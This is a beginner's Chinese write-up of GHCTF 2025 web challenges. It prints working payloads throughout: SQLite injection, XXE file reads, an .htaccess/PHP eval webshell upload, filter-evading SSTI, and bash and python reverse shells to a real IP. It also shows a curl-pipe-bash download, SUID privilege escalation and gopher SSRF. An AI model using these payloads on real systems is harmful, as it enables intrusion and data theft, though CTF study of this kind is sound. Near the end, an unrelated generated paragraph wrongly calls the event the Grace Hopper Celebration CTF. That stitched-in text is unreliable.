GHCTF 2025 web 萌新初探wp

ctf萌新第一次写wp,如有错误请师傅们指出

[GHCTF 2025]SQL???

打开靶机是一个用户查询的页面,结合题目名称猜测是sql注入,但是常规方法都试过了没办法注入,当时也是很懵逼,后来一个同学用sqlmap一扫说是提示sqlite注入,这才恍然大悟。

sqlite是除mysql外另一个数据库,语法与mysql相比稍微有点差异,但是注入过程大同小异,csdn一搜sqlite注入过程就做出来了,这个题甚至连过滤都没有。

查字段数
 ?id=1 union select 1,2,3,4,5

查表名和列名

 ?id=1 union select 1,2,(select sql from sqlite_master limit 0,1),4,5;

查询数据

 ?id=1 union select 1,2,(select group_concat(flag) from flag),4,5;
 union select 1,2,3,sqlite_version(),(select group_concat(flag) from flag)--

得到flag

官方wp

查字段数
 id=1 order by 5
查看表
union select 1,2,3,sqlite_version(),(select sql from sqlite_master limit 0,1)---
查数据
 union select 1,2,3,sqlite_version(),(select group_concat(flag) from flag)--

[GHCTF 2025](>﹏<)

打开是一段代码

 from flask import Flask,request
 import base64
 from lxml import etree
 import re
 app = Flask(__name__)
 ​
 @app.route('/')
 def index():
     return open(__file__).read()
 ​
 ​
 @app.route('/ghctf',methods=['POST'])
 def parse():
     xml=request.form.get('xml')
     print(xml)
     if xml is None:
         return "No System is Safe."
     parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
     root = etree.fromstring(xml, parser)
     name=root.find('name').text
     return name or None
 ​
 ​
 ​
 if __name__=="__main__":
     app.run(host='0.0.0.0',port=8080)

看到flask看到lxml,差不多能猜到是xxe漏洞,漏洞点是第18行这段代码和lxml库的使用。

我们看到可以在/ghctf目录下使用post方式传参xml,这里只需要对xml构造xxe攻击payload即可。

尝试在ghctf路由下post传入xml的值

 <!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///flag">]><root><name>&xxe;</name></root>

发现无法传入,我们尝试抓包上传

直接上传的话会报500错误,我们需要把xml的值url编码一下再上传

拿到flag

官方wp

 <?xml version="1.0"?>
 <!DOCTYPE test[
 <!ENTITY nn SYSTEM "file:///flag">
 ]>
 <user>
 <name>&nn;</name>
 <age>18</age>
 </user>

[GHCTF 2025]UPUPUP

这个题我不会,直接看官方wp

官方wp

考点:getimagesize和exif_imagetype绕过

apache 的服务器, 很容易想到 .htaccess;但是后端检测了 mine 类型, 如果直接在 .htaccess 开头加⼊ GIF89A 的话访问整个 images ⽬录下的⽂件都会爆500, 会出现语法错误。.htaccess 通过 # 来注释, 后来了解到还有 \x00

.htacess
 #define width 1
 #define height 1
 <FilesMatch "hey.hey">
 SetHandler application/x-httpd-php
 </FilesMatch>

然后上传hey.hey,content-type是image/jpeg

 #define width 1
 #define height 1
 <?php eval($_REQUEST[1]);?>

蚁剑连接查看flag即可

[GHCTF 2025]ez_readfile

打开是一段代码

  <?php
   show_source(__FILE__);
   if (md5($_POST['a']) === md5($_POST['b'])) {
       if ($_POST['a'] != $_POST['b']) {
           if (is_string($_POST['a']) && is_string($_POST['b'])) {
               echo file_get_contents($_GET['file']);
           }
       }
   }
 ?> 

三个if判断是md5强碰撞,这个我们可以用fastcoll生成md5碰撞字符

fastcoll的用法

我们找到fastcoll文件路径,找到fastcoll.exe

我们在这个文件的文件夹下新建一个1.txt,名字任意,然后往里随便输入一些内容比如一个数字1

然后保存这个文件,关闭,把他拖进fastcoll,一段时间后会生成两个文件

直接打开的话这两个文件都是乱码状态,我们可以利用脚本输出url格式

 <?php
 class CDUTSEC{
     public $var1;
     public $var2;
 }
 ​
 $tr = new CDUTSEC();
 $tr->var1 = file_get_contents('E:\\1_msg1.txt');          
 $tr->var2 = file_get_contents('E:\\1_msg2.txt');
 ​
 echo urlencode($tr->var1);
 echo "\n\n";
 echo urlencode($tr->var2);

修改刚才生成的两个文件的路径,运行这段代码,就可以得到经过url编码的两个经过md5强碰撞的值

然后就可以向靶机传入a和b的值,三个if判断条件就都可以满足

这里注意不能直接从网页传参,要用bp抓包传参,因为url解码后存在%00不可见字符,直接传参会被吞,使用bp抓包传参就可以避免这种情况。

可以看到已经可以读取文件/etc/passwd,说明判断已经打通,下面就是如何读取flag的问题。

这里用到的知识点是CVE-2024-2961漏洞,即file_get_contents文件读取rce漏洞

我们可以利用脚本将这里的文件读取变成任意命令执行。

这里我们需要用到两个文件,通过任意文件下载获取目标的/proc/self/maps和libc-2.x.so,在本机和php-filter-iconv.py放在同目录,然后运

行脚本即可生成php://filter/的RCE payload

maps文件路径就是/proc/self/maps,而libc-2.x.so文件的路径在maps文件里面,我们在maps文件中搜索libc-2,查看文件路径。由于直接访问so文件读出来是乱码,所以可以filter协议base64格式读取,然后cyberchef解base64编码直接下载解码文件用就可以。

这里我们需要修改三个地方,第一个是第338行的maps,把保存的maps.txt文件保存到和脚本同一目录下,改成我们本地的maps文件的名字。第二个就是cmd的值,这里是一个反弹shell的命令,我们也可以将一句话木马写入shell.php访问。第三个就是352行的so文件的名字,同样的把下载的文件放在和脚本同一目录下,修改名字,然后就可以运行了,得到payload,运行,读取flag。

官方wp(非预期解法)

阅读官方wp后我了解到这种题有一种非预期解法,那就是敏感文件读取。这里引用一下wp的原话。

有出过题的,⼤部分都是采⽤GitHub - CTF-Archives/ctf-docker-template: Deployment template for docker target machine in ctf for CTFd and other platforms that support dynamic flags 这⾥⾯的模版。⼀般出题过程中,为了⽅便,不去修改dockerfile⽂件,都会直接在容器内修改,然后再 commit⽣成镜像。 ⾥⾯的php出题模版中,有⼀个容器启动命令⽂件docker-entrypoint.sh。可以看到该命令⽂件在容器初 始化后就会被删掉。但是在提交⽣成镜像后,由镜像⽣成容器⼜需要运⾏该⽂件。因此有的出题者为了 ⽅便可能就不删除该⽂件,这时候就可以碰碰运⽓,看看出题者有没有把这个⽂件删掉。没有删掉,就 能够获取路径。

所以我们可以直接访问docker-entrypoint.sh文件,看一下能不能直接找到flag文件储存的位置。

这里读到了flag的储存位置,我们直接访问

成功拿到flag。

[GHCTF 2025]upload?SSTI!

打开靶机是一个文件上传页面,题目提示是ssti,所以我们开始找注入点,文件上传ssti常见注入点是文件名和文件内容。我们尝试上传t1.txt文件,文件内容是{{2*2}},发现上传成功,路径是/app/static/uploads/1.txt,但是这个路径我们好像并不能直接访问。这个题还有一个附件刚才没注意,我们下载附件查看一下发现是源码,我们看到render_template_string是ssti漏洞点,往上面找/file目录下的文件是我们要读的文件。我们读取/file/1.txt,页面回显4,确定存在ssti漏洞,但是源码中过滤了很多东西,这里我们使用过滤器来进行绕过。

 1.绕过了下划线,我们利用select|string绕过
 {%set xhx=({}|select()|string())[24]%}
 2.过滤了os,我们利用dict拼接绕过
 {%set o=dict(o=1,s=2)|join%}
 3.过滤了subclasses,我们同样利用dict拼接绕过,但是ssti注入时格式是__subclasses__,所以要用到xhx绕过的下划线
 {%set sub=(xhx,xhx,dict(subcla=1,sses=2)|join,xhx,xhx)|join%}
 4.其他同理

这样一来我们得到了一长串可以进行绕过的过滤器

 {%set xhx=({}|select()|string())[24]%}
 {%set glo=(xhx,xhx,dict(glo=1,bals=2)|join,xhx,xhx)|join%}
 {%set cla=(xhx,xhx,dict(cla=1,ss=2)|join,xhx,xhx)|join%}
 {%set bas=(xhx,xhx,dict(ba=1,se=2)|join,xhx,xhx)|join%}
 {%set sub=(xhx,xhx,dict(subcla=1,sses=2)|join,xhx,xhx)|join%}
 {%set ini=(xhx,xhx,dict(ini=1,t=2)|join,xhx,xhx)|join%}
 {%set pop="nepop"|reverse%}
 {%set o=dict(o=1,s=2)|join%}
 {{config[ini][glo][o][pop]("cat /fla*").read()}}

上传访问/file/1.txt得到flag

官方wp

官方给出的wp是利用request.args来绕过

 {{""[request.args.x1][request.args.x2][0][request.args.x3]()[137][request.args.x4][request.args.x5]['popen']('cat /f*').read()}}
 ?x1=__class__&x2=__bases__&x3=__subclasses__&x4=__init__&&x5=__globals__

[GHCTF 2025]Message in a Bottle

一个留言板,刚开始以为是xss漏洞,尝试alert也确实弹窗,但是一顿操作下来发现xss漏洞无法获取flag,我们看一下附件带的源代码

 from bottle import Bottle, request, template, run
 ​
 ​
 app = Bottle()
 ​
 # 存储留言的列表
 messages = []
 def handle_message(message):
     message_items = "".join([f"""
         <div class="message-card">
             <div class="message-content">{msg}</div>
             <small class="message-time">#{idx + 1} - 刚刚</small>
         </div>
     """ for idx, msg in enumerate(message)])
 ​
     board = f"""<!DOCTYPE html>
     <html lang="zh">
     <head>
         <meta charset="UTF-8">
         <meta name="viewport" content="width=device-width, initial-scale=1.0">
         <title>简约留言板</title>
         <link href="https://cdn.bootcdn.net/ajax/libs/twitter-bootstrap/5.1.3/css/bootstrap.min.css" rel="stylesheet">
          <style>
             :root {{
                 --primary-color: #4a90e2;
                 --hover-color: #357abd;
                 --background-color: #f8f9fa;
                 --card-background: #ffffff;
                 --shadow-color: rgba(0, 0, 0, 0.1);
             }}
 ​
             body {{
                 background: var(--background-color);
                 min-height: 100vh;
                 padding: 2rem 0;
                 font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
             }}
 ​
             .container {{
                 max-width: 800px;
                 background: var(--card-background);
                 border-radius: 15px;
                 box-shadow: 0 4px 6px var(--shadow-color);
                 padding: 2rem;
                 margin-top: 2rem;
                 animation: fadeIn 0.5s ease-in-out;
             }}
 ​
             @keyframes fadeIn {{
                 from {{ opacity: 0; transform: translateY(20px); }}
                 to {{ opacity: 1; transform: translateY(0); }}
             }}
 ​
             .message-card {{
                 background: var(--card-background);
                 border-radius: 10px;
                 padding: 1.5rem;
                 margin: 1rem 0;
                 transition: all 0.3s ease;
                 border-left: 4px solid var(--primary-color);
                 box-shadow: 0 2px 4px var(--shadow-color);
             }}
 ​
             .message-card:hover {{
                 transform: translateX(10px);
                 box-shadow: 0 4px 8px var(--shadow-color);
             }}
 ​
             .message-content {{
                 font-size: 1.1rem;
                 color: #333;
                 line-height: 1.6;
                 margin-bottom: 0.5rem;
             }}
 ​
             .message-time {{
                 color: #6c757d;
                 font-size: 0.9rem;
                 display: block;
                 margin-top: 0.5rem;
             }}
 ​
             textarea {{
                 width: 100%;
                 height: 120px;
                 padding: 1rem;
                 border: 2px solid #e9ecef;
                 border-radius: 10px;
                 resize: vertical;
                 font-size: 1rem;
                 transition: border-color 0.3s ease;
             }}
 ​
             textarea:focus {{
                 border-color: var(--primary-color);
                 outline: none;
                 box-shadow: 0 0 0 3px rgba(74, 144, 226, 0.1);
             }}
 ​
             .btn-custom {{
                 background: var(--primary-color);
                 color: white;
                 padding: 0.8rem 2rem;
                 border-radius: 10px;
                 border: none;
                 transition: all 0.3s ease;
                 font-weight: 500;
                 text-transform: uppercase;
                 letter-spacing: 0.05rem;
             }}
 ​
             .btn-custom:hover {{
                 background: var(--hover-color);
                 transform: translateY(-2px);
                 box-shadow: 0 4px 8px var(--shadow-color);
             }}
 ​
             h1 {{
                 color: var(--primary-color);
                 text-align: center;
                 margin-bottom: 2rem;
                 font-weight: 600;
                 font-size: 2.5rem;
                 text-shadow: 2px 2px 4px var(--shadow-color);
             }}
 ​
             .btn-danger {{
                 transition: all 0.3s ease;
                 padding: 0.6rem 1.5rem;
                 border-radius: 10px;
                 text-transform: uppercase;
                 letter-spacing: 0.05rem;
             }}
 ​
             .btn-danger:hover {{
                 transform: translateY(-2px);
                 box-shadow: 0 4px 8px var(--shadow-color);
             }}
 ​
             .text-muted {{
                 font-style: italic;
                 color: #6c757d !important;
             }}
 ​
             @media (max-width: 576px) {{
                 h1 {{
                     font-size: 2rem;
                 }}
                 .container {{
                     padding: 1.5rem;
                 }}
                 .message-card {{
                     padding: 1rem;
                 }}
             }}
         </style>
     </head>
     <body>
         <div class="container">
             <div class="d-flex justify-content-between align-items-center mb-4">
                 <h1 class="mb-0">📝 简约留言板</h1>
                 <a 
                     href="/Clean" 
                     class="btn btn-danger"
                     onclick="return confirm('确定要清空所有留言吗?此操作不可恢复!')"
                 >
                     🗑️ 一键清理
                 </a>
             </div>
 ​
             <form action="/submit" method="post">
                 <textarea 
                     name="message" 
                     placeholder="输入payload暴打出题人"
                     required
                 ></textarea>
                 <div class="d-grid gap-2">
                     <button type="submit" class="btn-custom">发布留言</button>
                 </div>
             </form>
 ​
             <div class="message-list mt-4">
                 <div class="d-flex justify-content-between align-items-center mb-3">
                     <h4 class="mb-0">最新留言({len(message)}条)</h4>
                     {f'<small class="text-muted">点击右侧清理按钮可清空列表</small>' if message else ''}
                 </div>
                 {message_items}
             </div>
         </div>
     </body>
     </html>"""
     return board
 ​
 ​
 ​
 def waf(message):
     return message.replace("{", "").replace("}", "")
 ​
 ​
 @app.route('/')
 def index():
     return template(handle_message(messages))
 ​
 ​
 @app.route('/Clean')
 def Clean():
     global messages
     messages = []
     return '<script>window.location.href="/"</script>'
 ​
 @app.route('/submit', method='POST')
 def submit():
     message = waf(request.forms.get('message'))
     messages.append(message)
     return template(handle_message(messages))
 ​
 ​
 if __name__ == '__main__':
     run(app, host='localhost', port=9000)

看最后就可以了,源码可以看出这是一个以bottle为模板的ssti漏洞,并且过滤了大括号。

ssti好说,过滤这个大括号就难办很多,经过多次尝试绕过无果,遂查找bottle官方文档

https://bottlepy.org/docs/dev/stpl.html#embedded-python-code

可以看到没有大括号的情况下依旧有办法执行python代码

 <div>
  % if True:
   <span>content</span>
  % end
 </div>

由于if判断有一个特性:

if语句在模板渲染时必定会执行条件表达式(无论条件真假)

也就是说只要把代码写在if后面就一定能执行写入的代码

我们导入os模块

 <div>
  % if __import__('os').popen('sleep 4').read():
   123
  % end
 </div>

看到页面确实停顿了四秒,命令成功执行,我们尝试读取目录文件

 <div>
  % if __import__('os').popen('ls /').read():
   123
  % end
 </div>

没有回显,只能尝试反弹shell

在自己的服务器监听6666端口

 nc -lvn 6666

然后传入payload

 <div>
  % if __import__('os').popen("bash -c 'bash -i >& /dev/tcp/123.56.103.169/6666  0>&1'").read():
   123
  % end
 </div>

服务器成功弹到shell

然后就可以读取根目录文件,找到flag

另一种解法

在SimpleTemplate模板下我们可以使⽤ % 来执⾏python代码。

这样就可以绕过 { 了,但是我们的 % 所在的那⼀⾏ % 的前面只能有空白字符,我们直接换行即可

 
% __import__('os').popen("bash -c 'bash -i >& /dev/tcp/123.56.103.169/4444  0>&1'").read()
 

弹到shell,读取flag

官方wp

同样是嵌入python代码,在SimpleTemplate模板下我们可以使⽤ % 来执⾏python代码,但是%所在的那一行的前面只能有空白字符,我们直接换行即可

 ​
 %__import__('os').popen("python3 -c 'import os,pty,socket;s=socket.socket();s.connect((\"111.xxx.xxx.xxx\",7777));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(\"sh\")'").read()

[GHCTF 2025]GetShell

特别长一串代码,直接扔给ai,给出payload: action=run&input=xxx

input后面的内容是可以执行的,我们尝试ls /;,发现空格过滤,绕过一下

有回显,尝试cat /flag,不出意外是没有回显的,尝试反弹shell。一番操作下来直接在input写bash好像不行,那就先在input这里写一个马,然后马文件下再写反弹shell

首先在服务器终端输入

 python3 -m http.server 2333

开放2333端口,使文件可以被访问,然后在靶机传入

 ?action=run&input=echo${IFS}"PD9waHAgZXZhbCgkX1BPU1RbMF0pO3BocGluZm8oKTs/Pg=="|${IFS}base64${IFS}-d>1.php

把一句话马写进1.php,访问这个文件,检查一句话木马是否能用,然后准备反弹shell

新开一个服务器终端,输入

 nc -lvn 4444

开放4444端口

在1.php页面下post传入

 0=system("curl http://123.56.103.169:6666/1.txt|bash");

查看服务器终端是否成功弹到shell

出现connection即为反弹成功,尝试读取flag,发现没有权限访问,我们这里进行suid提权

首先find寻找有root权限的文件

 find / -perm -4000 2>/dev/null

看到wc文件,利用这个文件读flag

我们先

 /var/www/html/wc --help

发现指令

 /var/www/html/wc --files0-from=/flag

拿到flag

[GHCTF 2025]Goph3rrr

dirsearch扫出来源码,代码审计发现是一个ssrf漏洞

由于Manage路由下post传入cmd能在os模块中执行命令,这里就是我们要利用的点,我们先在Manage路由下抓一个post包,令cmd=env直接看环境变量

然后因为我们要利用gopher协议,所以这里准备构造post文件头

 POST /Manage HTTP/1.1
 Host: 127.0.0.1
 Content-Type: application/x-www-form-urlencoded
 Content-Length: 7
 ​
 cmd=env
 ​

然后在Gopher路由下抓一个get包,打gopher协议

然后这里进行url编码时要注意了,post后面的内容直接两次url编码打不通,经过大佬点拨才知道编码方式

所以先编码下划线后面的部分,再编码url=后面的部分,我们一步一步来

第一步

第二步

发送请求包,得到flag

官方wp

 GET /Gopher?url=gopher://127.0.0.2:8000/_POST%2520%252FManage%2520HTTP%252
 F1.1%250Ahost%253A127.0.0.1%250AContent-Type%253Aapplication%252Fx-www-for
 m-urlencoded%250AContent-Length%253A7%250A%250Acmd%253Denv HTTP/1.1
 Host: node2.anna.nssctf.cn:28301
 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/2010
 0101 Firefox/136.0
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=
 0.2
 Accept-Encoding: gzip, deflate
 Connection: close
 Cookie: Hm_lvt_648a44a949074de73151ffaa0a832aec=1741071169,1741227966,1741
 254510,1741338945; Hm_lpvt_648a44a949074de73151ffaa0a832aec=1741357578; HM
 ACCOUNT=CAF3E7684A636B01
 Upgrade-Insecure-Requests: 1
 Priority: u=0, i

不过不知道为什么官方wp我打不通

[GHCTF 2025]Popppppp

很明显的php反序列化,开始寻找链尾

一脸懵逼的找了一圈没找到平常要找的类似eval的能执行命令的地方,这个题我直接在开头卡住了

后来经过师哥提示这个题的做法是php原生类反序列化

参考文章

CTF中PHP原生类的妙用 | X1ong

从文章里我们可以看到两个原生类,一个是列出目录文件类,一个是读取文件内容类,二者代码差不多,我们跟这道题来对比一下

 <?php
 highlight_file(__FILE__);
 $dir = $_GET['x1ongsec'];
 $obj = new DirectoryIterator($dir);
 foreach ($obj as $file) {
     echo $file->__toString() . "</br>";
 }

本题关键部分源码

 class Mystery {
 ​
     public function __get($arg1) {
         array_walk($this, function ($day1, $day2) {
             $day3 = new $day2($day1);
             foreach ($day3 as $day4) {
                 echo ($day4 . '<br>');
             }
         });
     }
 } 

可以看到

 $obj = new DirectoryIterator($dir);
 foreach ($obj as $file) {
     echo $file->__toString() . "</br>";
     
 $day3 = new $day2($day1);
             foreach ($day3 as $day4) {
                 echo ($day4 . '<br>');

很明显day2=DirectoryIterator,day1=要查看的文件的路径

由于本题中day1和day2的值由array_walk的结果决定,array_walk对当前类进行遍历,所以我们要在当前类添加一个public属性,这样一来属性名就是day2,属性内容就是day1。

所以我们添加一个

 public $DirectoryIterator='/';

就可以利用这个原生类来查看文件目录了

但是这样还不够,我们从链尾开始顺着网上找发现Philosopher类有一个md5弱类型比较需要绕过

fruit11经过两次md5加密需要于666弱比较相等,所以fruit11经过两次md5加密后只要以666+字母开头的形式就可以了,直接丢给ai让他写脚本,然后我们在纯数字里寻找因为这样找的快,很快跑出来213符合条件,我们令fruit11=213,剩下的链子就很清晰了

payload

运行提交

找到flag存在的文件,我们用另一个原生类读取,用法也很简单

把DirectoryIterator改成SplFileObject即可,提交payload

拿到flag

### GHC CTF 2025 Event Information The GHC CTF (Grace Hopper Celebration Capture The Flag) is an annual cybersecurity competition designed to challenge participants with various security-related tasks and puzzles[^1]. For the upcoming GHC CTF 2025, organizers typically aim to provide a platform where attendees can engage in real-world problem-solving scenarios that enhance their skills in cryptography, forensics, reverse engineering, web exploitation, and more. Participants of GHC CTF often include students, professionals, and enthusiasts who are interested in improving their knowledge about information security practices. Registration usually opens several months before the event date, allowing ample time for teams to form and prepare strategies for tackling challenges during the contest period[^2]. In addition to competitive aspects, GHC CTF also serves as an educational tool by offering workshops, tutorials, and networking opportunities among peers within the tech community. These activities help foster collaboration while promoting diversity and inclusion in STEM fields[^3]. For specific details regarding dates, locations, rules, prizes, or how one may participate in GHC CTF 2025, it would be best to consult official announcements from Grace Hopper Celebration organizers closer to the scheduled timeframe when such information becomes available publicly. ```python # Example Python code snippet related to registering interest for updates on future events. import requests def register_for_updates(email_address): url = &#39;https://example.com/api/register&#39; payload = {&#39;email&#39;: email_address} response = requests.post(url, json=payload) if response.status_code == 200: print(&#39;Successfully registered!&#39;) else: print(f&#39;Failed to register: {response.text}&#39;) register_for_updates(&#39;participant@example.org&#39;) ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值